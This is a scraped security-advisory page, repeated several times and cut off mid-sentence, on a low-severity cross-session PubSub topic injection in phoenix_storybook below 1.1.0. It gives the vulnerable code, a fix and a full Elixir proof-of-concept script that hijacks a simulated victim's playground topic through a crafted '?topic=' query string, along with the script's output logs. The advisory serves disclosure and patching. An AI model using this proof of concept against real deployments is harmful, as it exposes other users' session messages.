### Summary The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak. Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7 ### Details `PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it: ```elixir if topic = params["topic"] do Phoenix.PubSub.broadcast!( PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()} ) end ``` The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid. Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session. The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed. ### PoC The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above. To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic. The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs". ### Impact Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic. ## Scripts and Logs ```elixir # Verifies: Cross-session PubSub topic injection via URL parameter # # Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs # # Threat model: an outside attacker who can browse the storybook iframe URL. # They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own # browser. The iframe LiveView's handle_params broadcasts # `{:component_iframe_pid, self()}` on whatever topic the attacker put in the # query string. A victim's playground that subscribed to `victim_topic` # (legitimately, for its own iframe) receives the attacker's iframe pid and # will subsequently address its private control messages to that pid. # # This PoC stands up a real Phoenix endpoint + the library's own router, has a # "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a # plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker # session. If the victim receives the iframe pid, the topic was successfully # hijacked. Mix.install([ {:phoenix_storybook, "1.0.0"}, {:phoenix_live_view, "~> 1.0"}, {:bandit, "~> 1.5"}, {:req, "~> 0.5"}, {:jason, "~> 1.4"} ]) # ----- 1. Minimum on-disk story so the iframe LV actually mounts. ----- tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}") File.mkdir_p!(tmp) File.write!(Path.join(tmp, "demo.story.exs"), """ defmodule Storybook.Demo do use PhoenixStorybook.Story, :component def function, do: &Phoenix.Component.link/1 def variations do [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}] end end """) # ----- 2. Storybook backend + Phoenix endpoint/router. ----- expanded_content_path = Path.expand(tmp) Module.create( MyStorybook, quote do use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path) end, Macro.Env.location(__ENV__) ) defmodule MyRouter do use Phoenix.Router import Phoenix.LiveView.Router import PhoenixStorybook.Router scope "/" do live_storybook("/storybook", backend_module: MyStorybook) end end poc_port = Enum.random(20_000..30_000) Application.put_env(:psb_poc, MyEndpoint, http: [ip: {127, 0, 0, 1}, port: poc_port], server: true, secret_key_base: String.duplicate("a", 64), live_view: [signing_salt: "12345678"], pubsub_server: PhoenixStorybook.PubSub, adapter: Bandit.PhoenixAdapter, check_origin: false ) defmodule MyEndpoint do use Phoenix.Endpoint, otp_app: :psb_poc @session_options [ store: :cookie, key: "_psb_poc_key", signing_salt: "12345678", same_site: "Lax" ] socket "/live", Phoenix.LiveView.Socket, websocket: true plug Plug.Session, @session_options plug :fetch_query_params_plug plug MyRouter def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn) end # ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). ----- {:ok, _} = MyEndpoint.start_link() base = "http://127.0.0.1:#{poc_port}" # ----- 4. Victim subscribes to its private playground topic. ----- victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}" victim = self() # A separate process plays the role of the victim's playground LV. It # subscribes to its own topic — exactly what PlaygroundLive does when the # legitimate user opens their playground page. victim_pid = spawn_link(fn -> :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) send(victim, :victim_ready) receive do {:component_iframe_pid, attacker_iframe_pid} -> send(victim, {:victim_got, attacker_iframe_pid}) after 5_000 -> send(victim, :victim_timeout) end end) receive do :victim_ready -> :ok after 2_000 -> raise "victim subscribe timed out" end # ----- 5. Attacker, in a completely unrelated session, hits the iframe URL # with ?topic=<victim's secret topic>. ----- attacker_url = base <> "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic) _resp = Req.get!(attacker_url, retry: false) # ----- 6. Observe the cross-session leak. ----- outcome = receive do {:victim_got, leaked_pid} -> {:leaked, leaked_pid} :victim_timeout -> :no_leak after 6_000 -> :no_leak end # ----- 7. Tear down. ----- :ok = Supervisor.stop(MyEndpoint, :normal) File.rm_rf!(tmp) if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill) case outcome do {:leaked, pid} -> IO.puts("Victim received iframe pid: #{inspect(pid)}") IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)") IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.") IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic") :no_leak -> IO.puts("NOT VERIFIED: no cross-session message observed within timeout") end ``` ### Logs ```logs 11:56:17.598 [warning] Can't resolve priv dir for application psb_poc 11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http) 11:56:17.750 [info] Access MyEndpoint at http://localhost:26466 11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0 Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"} Pipelines: [:storybook_browser] Victim received iframe pid: #PID<0.598.0> Victim's topic was: playground-secret-8 (never shared with attacker session) Attacker only needed to know/guess that topic to hijack the pid handshake. VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic ```
### Summary The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak. Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7 ### Details `PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it: ```elixir if topic = params["topic"] do Phoenix.PubSub.broadcast!( PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()} ) end ``` The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid. Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session. The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed. ### PoC The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above. To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic. The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs". ### Impact Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic. ## Scripts and Logs ```elixir # Verifies: Cross-session PubSub topic injection via URL parameter # # Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs # # Threat model: an outside attacker who can browse the storybook iframe URL. # They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own # browser. The iframe LiveView's handle_params broadcasts # `{:component_iframe_pid, self()}` on whatever topic the attacker put in the # query string. A victim's playground that subscribed to `victim_topic` # (legitimately, for its own iframe) receives the attacker's iframe pid and # will subsequently address its private control messages to that pid. # # This PoC stands up a real Phoenix endpoint + the library's own router, has a # "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a # plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker # session. If the victim receives the iframe pid, the topic was successfully # hijacked. Mix.install([ {:phoenix_storybook, "1.0.0"}, {:phoenix_live_view, "~> 1.0"}, {:bandit, "~> 1.5"}, {:req, "~> 0.5"}, {:jason, "~> 1.4"} ]) # ----- 1. Minimum on-disk story so the iframe LV actually mounts. ----- tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}") File.mkdir_p!(tmp) File.write!(Path.join(tmp, "demo.story.exs"), """ defmodule Storybook.Demo do use PhoenixStorybook.Story, :component def function, do: &Phoenix.Component.link/1 def variations do [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}] end end """) # ----- 2. Storybook backend + Phoenix endpoint/router. ----- expanded_content_path = Path.expand(tmp) Module.create( MyStorybook, quote do use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path) end, Macro.Env.location(__ENV__) ) defmodule MyRouter do use Phoenix.Router import Phoenix.LiveView.Router import PhoenixStorybook.Router scope "/" do live_storybook("/storybook", backend_module: MyStorybook) end end poc_port = Enum.random(20_000..30_000) Application.put_env(:psb_poc, MyEndpoint, http: [ip: {127, 0, 0, 1}, port: poc_port], server: true, secret_key_base: String.duplicate("a", 64), live_view: [signing_salt: "12345678"], pubsub_server: PhoenixStorybook.PubSub, adapter: Bandit.PhoenixAdapter, check_origin: false ) defmodule MyEndpoint do use Phoenix.Endpoint, otp_app: :psb_poc @session_options [ store: :cookie, key: "_psb_poc_key", signing_salt: "12345678", same_site: "Lax" ] socket "/live", Phoenix.LiveView.Socket, websocket: true plug Plug.Session, @session_options plug :fetch_query_params_plug plug MyRouter def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn) end # ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). ----- {:ok, _} = MyEndpoint.start_link() base = "http://127.0.0.1:#{poc_port}" # ----- 4. Victim subscribes to its private playground topic. ----- victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}" victim = self() # A separate process plays the role of the victim's playground LV. It # subscribes to its own topic — exactly what PlaygroundLive does when the # legitimate user opens their playground page. victim_pid = spawn_link(fn -> :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) send(victim, :victim_ready) receive do {:component_iframe_pid, attacker_iframe_pid} -> send(victim, {:victim_got, attacker_iframe_pid}) after 5_000 -> send(victim, :victim_timeout) end end) receive do :victim_ready -> :ok after 2_000 -> raise "victim subscribe timed out" end # ----- 5. Attacker, in a completely unrelated session, hits the iframe URL # with ?topic=<victim's secret topic>. ----- attacker_url = base <> "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic) _resp = Req.get!(attacker_url, retry: false) # ----- 6. Observe the cross-session leak. ----- outcome = receive do {:victim_got, leaked_pid} -> {:leaked, leaked_pid} :victim_timeout -> :no_leak after 6_000 -> :no_leak end # ----- 7. Tear down. ----- :ok = Supervisor.stop(MyEndpoint, :normal) File.rm_rf!(tmp) if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill) case outcome do {:leaked, pid} -> IO.puts("Victim received iframe pid: #{inspect(pid)}") IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)") IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.") IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic") :no_leak -> IO.puts("NOT VERIFIED: no cross-session message observed within timeout") end ``` ### Logs ```logs 11:56:17.598 [warning] Can't resolve priv dir for application psb_poc 11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http) 11:56:17.750 [info] Access MyEndpoint at http://localhost:26466 11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0 Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"} Pipelines: [:storybook_browser] Victim received iframe pid: #PID<0.598.0> Victim's topic was: playground-secret-8 (never shared with attacker session) Attacker only needed to know/guess that topic to hijack the pid handshake. VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic ```
Update phoenix_storybook to 1.1.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPhoenixStorybook has cross-session PubSub topic injection via URL parameter affects phoenix_storybook (erlang). Severity is low. ### Summary The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak. Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7 ### Details `PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it: ```elixir if topic = params["topic"] do Phoenix.PubSub.broadcast!( PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()} ) end ``` The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid. Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session. The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed. ### PoC The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above. To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic. The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs". ### Impact Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic. ## Scripts and Logs ```elixir # Verifies: Cross-session PubSub topic injection via URL parameter # # Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs # # Threat model: an outside attacker who can browse the storybook iframe URL. # They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own # browser. The iframe LiveView's handle_params broadcasts # `{:component_iframe_pid, self()}` on whatever topic the attacker put in the # query string. A victim's playground that subscribed to `victim_topic` # (legitimately, for its own iframe) receives the attacker's iframe pid and # will subsequently address its private control messages to that pid. # # This PoC stands up a real Phoenix endpoint + the library's own router, has a # "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a # plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker # session. If the victim receives the iframe pid, the topic was successfully # hijacked. Mix.install([ {:phoenix_storybook, "1.0.0"}, {:phoenix_live_view, "~> 1.0"}, {:bandit, "~> 1.5"}, {:req, "~> 0.5"}, {:jason, "~> 1.4"} ]) # ----- 1. Minimum on-disk story so the iframe LV actually mounts. ----- tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}") File.mkdir_p!(tmp) File.write!(Path.join(tmp, "demo.story.exs"), """ defmodule Storybook.Demo do use PhoenixStorybook.Story, :component def function, do: &Phoenix.Component.link/1 def variations do [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}] end end """) # ----- 2. Storybook backend + Phoenix endpoint/router. ----- expanded_content_path = Path.expand(tmp) Module.create( MyStorybook, quote do use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path) end, Macro.Env.location(__ENV__) ) defmodule MyRouter do use Phoenix.Router import Phoenix.LiveView.Router import PhoenixStorybook.Router scope "/" do live_storybook("/storybook", backend_module: MyStorybook) end end poc_port = Enum.random(20_000..30_000) Application.put_env(:psb_poc, MyEndpoint, http: [ip: {127, 0, 0, 1}, port: poc_port], server: true, secret_key_base: String.duplicate("a", 64), live_view: [signing_salt: "12345678"], pubsub_server: PhoenixStorybook.PubSub, adapter: Bandit.PhoenixAdapter, check_origin: false ) defmodule MyEndpoint do use Phoenix.Endpoint, otp_app: :psb_poc @session_options [ store: :cookie, key: "_psb_poc_key", signing_salt: "12345678", same_site: "Lax" ] socket "/live", Phoenix.LiveView.Socket, websocket: true plug Plug.Session, @session_options plug :fetch_query_params_plug plug MyRouter def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn) end # ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). ----- {:ok, _} = MyEndpoint.start_link() base = "http://127.0.0.1:#{poc_port}" # ----- 4. Victim subscribes to its private playground topic. ----- victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}" victim = self() # A separate process plays the role of the victim's playground LV. It # subscribes to its own topic — exactly what PlaygroundLive does when the # legitimate user opens their playground page. victim_pid = spawn_link(fn -> :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) send(victim, :victim_ready) receive do {:component_iframe_pid, attacker_iframe_pid} -> send(victim, {:victim_got, attacker_iframe_pid}) after 5_000 -> send(victim, :victim_timeout) end end) receive do :victim_ready -> :ok after 2_000 -> raise "victim subscribe timed out" end # ----- 5. Attacker, in a completely unrelated session, hits the iframe URL # with ?topic=<victim's secret topic>. ----- attacker_url = base <> "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic) _resp = Req.get!(attacker_url, retry: false) # ----- 6. Observe the cross-session leak. ----- outcome = receive do {:victim_got, leaked_pid} -> {:leaked, leaked_pid} :victim_timeout -> :no_leak after 6_000 -> :no_leak end # ----- 7. Tear down. ----- :ok = Supervisor.stop(MyEndpoint, :normal) File.rm_rf!(tmp) if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill) case outcome do {:leaked, pid} -> IO.puts("Victim received iframe pid: #{inspect(pid)}") IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)") IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.") IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic") :no_leak -> IO.puts("NOT VERIFIED: no cross-session message observed within timeout") end ``` ### Logs ```logs 11:56:17.598 [warning] Can't resolve priv dir for application psb_poc 11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http) 11:56:17.750 [info] Access MyEndpoint at http://localhost:26466 11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0 Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"} Pipelines: [:storybook_browser] Victim received iframe pid: #PID<0.598.0> Victim's topic was: playground-secret-8 (never shared with attacker session) Attacker only needed to know/guess that topic to hijack the pid handshake. VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic ```
AI coding agents often install or upgrade packages automatically in erlang. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| phoenix_storybookerlang | >=0.4.0,<1.1.0 | 1.1.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate phoenix_storybook to 1.1.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPhoenixStorybook has cross-session PubSub topic injection via URL parameter affects phoenix_storybook (erlang). Severity is low. ### Summary The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak. Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7 ### Details `PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it: ```elixir if topic = params["topic"] do Phoenix.PubSub.broadcast!( PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()} ) end ``` The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid. Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/<story>?topic=<victim_topic>` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session. The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed. ### PoC The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/<story>?topic=<victim_topic>`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above. To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=<victim_topic>` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic. The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs". ### Impact Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic. ## Scripts and Logs ```elixir # Verifies: Cross-session PubSub topic injection via URL parameter # # Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs # # Threat model: an outside attacker who can browse the storybook iframe URL. # They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own # browser. The iframe LiveView's handle_params broadcasts # `{:component_iframe_pid, self()}` on whatever topic the attacker put in the # query string. A victim's playground that subscribed to `victim_topic` # (legitimately, for its own iframe) receives the attacker's iframe pid and # will subsequently address its private control messages to that pid. # # This PoC stands up a real Phoenix endpoint + the library's own router, has a # "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a # plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker # session. If the victim receives the iframe pid, the topic was successfully # hijacked. Mix.install([ {:phoenix_storybook, "1.0.0"}, {:phoenix_live_view, "~> 1.0"}, {:bandit, "~> 1.5"}, {:req, "~> 0.5"}, {:jason, "~> 1.4"} ]) # ----- 1. Minimum on-disk story so the iframe LV actually mounts. ----- tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}") File.mkdir_p!(tmp) File.write!(Path.join(tmp, "demo.story.exs"), """ defmodule Storybook.Demo do use PhoenixStorybook.Story, :component def function, do: &Phoenix.Component.link/1 def variations do [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}] end end """) # ----- 2. Storybook backend + Phoenix endpoint/router. ----- expanded_content_path = Path.expand(tmp) Module.create( MyStorybook, quote do use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path) end, Macro.Env.location(__ENV__) ) defmodule MyRouter do use Phoenix.Router import Phoenix.LiveView.Router import PhoenixStorybook.Router scope "/" do live_storybook("/storybook", backend_module: MyStorybook) end end poc_port = Enum.random(20_000..30_000) Application.put_env(:psb_poc, MyEndpoint, http: [ip: {127, 0, 0, 1}, port: poc_port], server: true, secret_key_base: String.duplicate("a", 64), live_view: [signing_salt: "12345678"], pubsub_server: PhoenixStorybook.PubSub, adapter: Bandit.PhoenixAdapter, check_origin: false ) defmodule MyEndpoint do use Phoenix.Endpoint, otp_app: :psb_poc @session_options [ store: :cookie, key: "_psb_poc_key", signing_salt: "12345678", same_site: "Lax" ] socket "/live", Phoenix.LiveView.Socket, websocket: true plug Plug.Session, @session_options plug :fetch_query_params_plug plug MyRouter def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn) end # ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). ----- {:ok, _} = MyEndpoint.start_link() base = "http://127.0.0.1:#{poc_port}" # ----- 4. Victim subscribes to its private playground topic. ----- victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}" victim = self() # A separate process plays the role of the victim's playground LV. It # subscribes to its own topic — exactly what 